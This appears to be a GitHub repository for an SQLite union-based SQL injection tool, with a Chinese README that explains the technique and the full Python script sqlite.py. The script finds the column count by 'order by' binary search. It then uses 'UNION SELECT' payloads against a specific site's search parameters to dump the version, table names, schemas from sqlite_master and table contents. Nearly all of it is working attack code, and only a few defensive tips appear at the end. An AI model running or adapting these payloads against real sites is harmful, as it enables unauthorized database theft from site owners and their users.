├── .DS_Store ├── README.md ├── image ├── columns.png ├── data.png └── tables.png └── sqlite.py /.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/silience/sql/ed5e36c699c906159591755ce9677d331fbf525d/.DS_Store -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | Sqlite联合注入辅助脚本 3 | 4 | 0×01概述: 5 | 6 | SQLite是一款轻型的数据库。sqlite存在一个叫SQLITE_MASTER的表,这与MySQL5.x的INFORMATION_SCHEMA表类似。sqlite_master 表中保存了数据库中所有表的信息,该表中比较有用的字段有“name,sql”,name字段存放的是表名,sql字段存放的是表结构。可以通过内置函数sqlite_version()获取版本信息,和其他数据库一样,通过“order by”判断长度,该数据库的注释符和ORACLE数据库一样,都是--。 7 | 8 | 0×02使用参数: 9 | 10 | python sqlite.py -u url --tables#获取所有表名 11 | 12 | python sqlite.py -u url --columns#获取所有表结构,从而获取字段值 13 | 14 | python sqlite.py -u url -T table_name -C column_name -d#获取指定字段内容 15 | 16 | 0×03:信息获取 17 | 18 | 通过自定义函数SetPoc,根据功能需求,设置各发包的PoC,比如猜测“order by”长度,获取版本信息,获取表名,获取表中字段名,以及字段的具体内容。 19 | 首先判断注入类型,是整型(123和555 = 555--),字符型(123'和555 = 555--),还是搜索型(123%'和555 = 555--),再通过二分法判断“order by”长度,如果一开始插入order by mid(尝试的长度)的包返回状态和正常的原始包返回状态不相等,则说明mid过大,如果原始正常包返回状态与插入的order by mid和order by mid + 1的包返回状态相等,则说明mid过小,如果原始正常包返回状态与插入order by mid的返回包状态相等,但与order by mid + 1的包返回状态不相等,则成功获取order by长度。 20 | 21 | def SetPoc(self, action): 22 | 23 | # 获取order by 数目的poc 24 | if action == "orderby": 25 | poc0 = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同" \ 26 | "&q=&pageIndex=1&searchname=&_=1522659952172" 27 | poc_start = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同%') " 28 | poc_end = "--&q=&pageIndex=1&searchname=&_=1522659952172" 29 | response0 = SendData(target, poc0) 30 | min = 0 31 | max = self.OrderBy 32 | middle = (max+min) / 2 33 | while self.OrderBy > 0: 34 | ordpoc1 = (poc_start + "order by {0}" + poc_end).format(middle) 35 | ordpoc2 = (poc_start + "order by {0}" + poc_end).format(middle + 1) 36 | response1 = SendData(target, ordpoc1) 37 | response2 = SendData(target, ordpoc2) 38 | if response0.status_code != response1.status_code: 39 | max = middle 40 | middle = (min+max) / 2 41 | else: 42 | if response1.status_code == response2.status_code: 43 | 44 | if response1.status_code == 200: 45 | min = middle 46 | middle = (min+max) / 2 47 | else: 48 | max = middle 49 | middle = (min+max) / 2 50 | else: 51 | self.OrderBy = middle 52 | print ("》Order By number is %s" % self.OrderBy) 53 | break 54 | 55 | 56 | 通过调用count(1)可获取数据库中表的总数,通过查询系统表SQLITE_MASTER中的name字段,可获取数据库中所有表名,这和MySQL数据库中系统表INFORMATION_SCHEMA中的“table_name”字段类似。通过limit关键字指定获取信息的开始位置和数量,比如limit 0,1,则是从第一条开始,并且只获取一条数据 57 | 58 | # 获取表数量的poc 59 | elif action == "tabnum": 60 | tabnumpoc_start = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同%') " \ 61 | "and 1=2 UNION SELECT null,''||count(1)||''" 62 | tabnumpoc_end = " from sqlite_master--&q=&pageIndex=1&searchname=&_=1522659952172" 63 | tabnumpoc = tabnumpoc_start + self.poc_mid + tabnumpoc_end 64 | return tabnumpoc 65 | 66 | 67 | 通过上步获取的order by长度,再调用内置函数sqlite_version(),获取版本信息,poc类似%' and 1 = 2 UNION SELECT null,sqlite_version() ,Sqlite数据库的字符型、搜索类型注入,和Oracle数据库一样,可以通过使用null进行注入。这里将发送包分成三部分进行拼接,第一部分是类似123%' and 1 = 2 union select null,sqlite_vetsion(),这部分将根据要查询的信息进行变化,如查询所有表名,则使用123%' and 1 = 2 union select null,name;第二部分则根据前面获取的order by 长度,补齐缺少的null,第三部分则根据要查询条件进行修改 68 | 69 | # 获取版本信息的poc 70 | elif action == "version": 71 | verpoc_start = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同%') " \ 72 | "and 1=2 UNION SELECT null,''||sqlite_version()||''" 73 | verpoc_end = " from sqlite_master--&q=&pageIndex=1&searchname=&_=1522659952172" 74 | order_num = self.OrderBy 75 | while order_num > 2: 76 | self.poc_mid = self.poc_mid + ",null" 77 | order_num = order_num - 1 78 | verpoc = verpoc_start + self.poc_mid + verpoc_end 79 | #print self.poc_mid 80 | return verpoc 81 | 82 | 83 | ![image](https://github.com/silience/sql/blob/master/image/tables.png) 84 | 85 | sqlite_master表和mysql数据库中系统表information_schema不一样的是,sqlite_master不存在类似“column_name”的字段,但是她有一个sql字段,该字段保存了各个表的结构,包括表名,字段名和类型。因此可以通过查询sql字段获取各个表的列名。 86 | 87 | # 获取所有表结构的poc 88 | elif action == "columns": 89 | columnspoc_start = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同%') " \ 90 | "and 1=2 UNION SELECT null,''||sql||''" 91 | columnspoc_end = " from sqlite_master limit 0,{0}--&q=&pageIndex=1&searchname=&_=1522659952172".format(self.table_num) 92 | columnspoc = columnspoc_start + self.poc_mid + columnspoc_end 93 | return columnspoc 94 | 95 | ![image](https://github.com/silience/sql/blob/master/image/columns.png) 96 | 97 | 通过前面获取的表名和列名,再获取具体内容,类似的poc为123%' and 1 = 2 UNION SELECT null,column_name,null from table_name--。 98 | 99 | # 获取指定表数据条数的poc 100 | elif action == "datanum": 101 | datanumpoc_start = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同%') " \ 102 | "and 1=2 UNION SELECT null,''||count(1)||''" 103 | datanumpoc_end = " from {0}--&q=&pageIndex=1&searchname=&_=1522659952172".format(table_name) 104 | datanumpoc = datanumpoc_start + self.poc_mid + datanumpoc_end 105 | return datanumpoc 106 | 107 | # 获取具体数据的poc 108 | elif action == "data": 109 | datapoc_start = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同%') " \ 110 | "and 1=2 UNION SELECT null,''||{0}||''".format(column_name) 111 | datapoc_end = " from {0} limit 0,{1}--&q=&pageIndex=1&searchname=&_=1522659952172".format(table_name, self.column_num) 112 | datapoc = datapoc_start + self.poc_mid + datapoc_end 113 | return datapoc 114 | 115 | ![image](https://github.com/silience/sql/blob/master/image/data.png) 116 | 117 | 0×04:SQL注入防御 118 | 119 | 1,使用白名单或者黑名单进行全局过滤,防止二次注入 120 | 121 | 2,强制使用预编译,参数化语句,如JSP的PreparedStatement的setString方法等 122 | 123 | 3,前端JS过滤,如调用escape方法 124 | 125 | 4,借助第三方安全防御软件,如WAF 126 | -------------------------------------------------------------------------------- /image/columns.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/silience/sql/ed5e36c699c906159591755ce9677d331fbf525d/image/columns.png -------------------------------------------------------------------------------- /image/data.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/silience/sql/ed5e36c699c906159591755ce9677d331fbf525d/image/data.png -------------------------------------------------------------------------------- /image/tables.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/silience/sql/ed5e36c699c906159591755ce9677d331fbf525d/image/tables.png -------------------------------------------------------------------------------- /sqlite.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # _*_ coding:utf-8 _*_ 3 | 4 | import getopt 5 | import sys 6 | import requests 7 | import re 8 | import urllib 9 | 10 | target = "" 11 | table_name = "" 12 | column_name = "" 13 | 14 | 15 | # 用法 16 | def usage(): 17 | print 18 | print ("Usage: python sqlite.py -u url --tables") # 获取所有表名 19 | print ("Usage: python sqlite.py -u url --columns") # 获取所有表结构,从而获取字段值 20 | print ("Usage: python sqlite.py -u url -T table_name -C column_name -d") # 获取指定数据 21 | print ("-t - get tables") 22 | print ("-T - choose a table") 23 | print ("-c - get columns") 24 | print ("-C - choose a column") 25 | print ("-d - get data") 26 | sys.exit(0) 27 | 28 | 29 | def SendData(target, poc): 30 | url = target + poc 31 | headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0", 32 | "Accept": "application/json, text/javascript, */*; q=0.01", 33 | "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", 34 | "Accept-Encoding": "gzip, deflate", "Referer": "", 35 | "Cookie": "safedog-flow-item=C3D1A1E4021D97E59C56A67DC0C53D2D; " 36 | "ASP.NET_SessionId=g5vaceg2zozfjv42p4kwmxkb", 37 | "Connection": "close"} 38 | 39 | response = requests.get(url, headers=headers) 40 | return response 41 | 42 | 43 | def handleData(response): 44 | result = re.findall(r'(.*?)', response.content, re.I) 45 | return result 46 | 47 | 48 | class DataBase(): 49 | def __init__(self, target): 50 | self.version = "" # 版本信息 51 | self.tables = [] # 所有表 52 | self.table_num = 0 # 所有表数目 53 | self.column_num = 0 # 指定表中数据条数 54 | self.columns = [] # 字段 55 | self.datas = [] # 具体数据 56 | self.target = target # 目标地址 57 | self.OrderBy = 200 # order by 初始值 58 | self.poc_mid = "" # poc相同部分,初始为空 59 | 60 | def SetPoc(self, action): 61 | 62 | # 获取order by 数目的poc 63 | if action == "orderby": 64 | poc0 = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同" \ 65 | "&q=&pageIndex=1&searchname=&_=1522659952172" 66 | poc_start = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同%') " 67 | poc_end = "--&q=&pageIndex=1&searchname=&_=1522659952172" 68 | response0 = SendData(target, poc0) 69 | min = 0 70 | max = self.OrderBy 71 | middle = (max+min) / 2 72 | while self.OrderBy > 0: 73 | ordpoc1 = (poc_start + "order by {0}" + poc_end).format(middle) 74 | ordpoc2 = (poc_start + "order by {0}" + poc_end).format(middle + 1) 75 | response1 = SendData(target, ordpoc1) 76 | response2 = SendData(target, ordpoc2) 77 | if response0.status_code != response1.status_code: 78 | max = middle 79 | middle = (min+max) / 2 80 | else: 81 | if response1.status_code == response2.status_code: 82 | 83 | if response1.status_code == 200: 84 | min = middle 85 | middle = (min+max) / 2 86 | else: 87 | max = middle 88 | middle = (min+max) / 2 89 | else: 90 | self.OrderBy = middle 91 | print ("》Order By number is %s" % self.OrderBy) 92 | break 93 | 94 | # 获取版本信息的poc 95 | elif action == "version": 96 | verpoc_start = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同%') " \ 97 | "and 1=2 UNION SELECT null,''||sqlite_version()||''" 98 | verpoc_end = " from sqlite_master--&q=&pageIndex=1&searchname=&_=1522659952172" 99 | order_num = self.OrderBy 100 | while order_num > 2: 101 | self.poc_mid = self.poc_mid + ",null" 102 | order_num = order_num - 1 103 | verpoc = verpoc_start + self.poc_mid + verpoc_end 104 | #print self.poc_mid 105 | return verpoc 106 | 107 | # 获取表数量的poc 108 | elif action == "tabnum": 109 | tabnumpoc_start = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同%') " \ 110 | "and 1=2 UNION SELECT null,''||count(1)||''" 111 | tabnumpoc_end = " from sqlite_master--&q=&pageIndex=1&searchname=&_=1522659952172" 112 | tabnumpoc = tabnumpoc_start + self.poc_mid + tabnumpoc_end 113 | return tabnumpoc 114 | 115 | # 获取所有表名的poc 116 | elif action == "tables": 117 | tablespoc_start = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同%') " \ 118 | "and 1=2 UNION SELECT null,''||name||''" 119 | tablespoc_end = " from sqlite_master limit 0,{0}--&q=&pageIndex=1&searchname=&_=1522659952172".format( 120 | self.table_num) 121 | tablespoc = tablespoc_start + self.poc_mid + tablespoc_end 122 | return tablespoc 123 | 124 | # 获取所有表结构的poc 125 | elif action == "columns": 126 | columnspoc_start = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同%') " \ 127 | "and 1=2 UNION SELECT null,''||sql||''" 128 | columnspoc_end = " from sqlite_master limit 0,{0}--&q=&pageIndex=1&searchname=&_=1522659952172".format(self.table_num) 129 | columnspoc = columnspoc_start + self.poc_mid + columnspoc_end 130 | return columnspoc 131 | 132 | # 获取指定表数据条数的poc 133 | elif action == "datanum": 134 | datanumpoc_start = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同%') " \ 135 | "and 1=2 UNION SELECT null,''||count(1)||''" 136 | datanumpoc_end = " from {0}--&q=&pageIndex=1&searchname=&_=1522659952172".format(table_name) 137 | datanumpoc = datanumpoc_start + self.poc_mid + datanumpoc_end 138 | return datanumpoc 139 | 140 | # 获取具体数据的poc 141 | elif action == "data": 142 | datapoc_start = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同%') " \ 143 | "and 1=2 UNION SELECT null,''||{0}||''".format(column_name) 144 | datapoc_end = " from {0} limit 0,{1}--&q=&pageIndex=1&searchname=&_=1522659952172".format(table_name, self.column_num) 145 | datapoc = datapoc_start + self.poc_mid + datapoc_end 146 | return datapoc 147 | 148 | else: 149 | pass 150 | 151 | # 获取信息 152 | def GetInfo(self, target): 153 | # 遍历order by 154 | ord_action = "orderby" 155 | self.SetPoc(ord_action) 156 | 157 | # 获取版本信息 158 | ver_action = "version" 159 | verpoc = self.SetPoc(ver_action) 160 | ver_response = SendData(target, verpoc) 161 | self.version = handleData(ver_response) 162 | print ("》版本信息:%s" % self.version) 163 | 164 | # 获取表数目 165 | tabnum_action = "tabnum" 166 | tabnumpoc = self.SetPoc(tabnum_action) 167 | tabnum_response = SendData(target, tabnumpoc) 168 | self.table_num = int(handleData(tabnum_response)[0]) 169 | print ("》》总共有%s张表" % self.table_num) 170 | 171 | # 获取表信息 172 | def GetTables(self, target): 173 | # 遍历所有表名 174 | action = "tables" 175 | tablespoc = self.SetPoc(action) 176 | tables_response = SendData(target, tablespoc) 177 | self.tables = handleData(tables_response) 178 | print ("》》》表名") 179 | for tab in self.tables: 180 | print (tab) 181 | 182 | # 获取字段信息 183 | def GetColumns(self, target): 184 | # 首先获取表结构,从表结构中获取字段 185 | action = "columns" 186 | cloumnspoc = self.SetPoc(action) 187 | cloumns_response = SendData(target, cloumnspoc) 188 | self.columns = handleData(cloumns_response) 189 | print ("》》》表结构") 190 | for col in self.columns: 191 | print (col) 192 | print 193 | 194 | # 获取数据 195 | def GetData(self, target,table_name,column_name): 196 | # 获取指定表中数据条数 197 | datanum_action = "datanum" 198 | datanumpoc = self.SetPoc(datanum_action) 199 | datanum_response = SendData(target, datanumpoc) 200 | datanum_result = handleData(datanum_response) 201 | self.column_num = int(datanum_result[0]) # 获取当前表的数据条数 202 | print ("》》》》当前表{0}有{1}条数据".format(table_name, self.column_num)) 203 | 204 | #获取具体数据内容 205 | datas_action = "data" 206 | datapoc = self.SetPoc(datas_action) 207 | data_response = SendData(target, datapoc) 208 | self.datas = handleData(data_response) 209 | print ("》》》》当前表{0}字段{1}的内容有".format(table_name, column_name)) 210 | for data in self.datas: 211 | print (data) 212 | 213 | def main(): 214 | global target 215 | global table_name 216 | global column_name 217 | global database 218 | 219 | try: 220 | opts, args = getopt.getopt(sys.argv[1:], "hu:tT:cC:d", 221 | ["help", "url", "tables", "table", "columns", "column", "dump"]) 222 | except getopt.GetoptError as err: 223 | print str(err) 224 | usage() 225 | 226 | print target 227 | for o, a in opts: 228 | if o in ("-h", "--help"): 229 | usage() 230 | elif o in ("-u", "--url"): 231 | target = a 232 | database = DataBase(target) 233 | database.GetInfo(target) 234 | elif o in ("-t", "--tables"): 235 | database.GetTables(target) 236 | elif o in ("-T", "--table"): 237 | table_name = a 238 | elif o in ("-c", "--columns"): 239 | database.GetColumns(target) 240 | elif o in ("-C", "--column"): 241 | column_name = a 242 | elif o in ("-d", "--dump"): 243 | database.GetData(target,table_name,column_name) 244 | else: 245 | assert False, "Unhandled Option" 246 | 247 | main() 248 | --------------------------------------------------------------------------------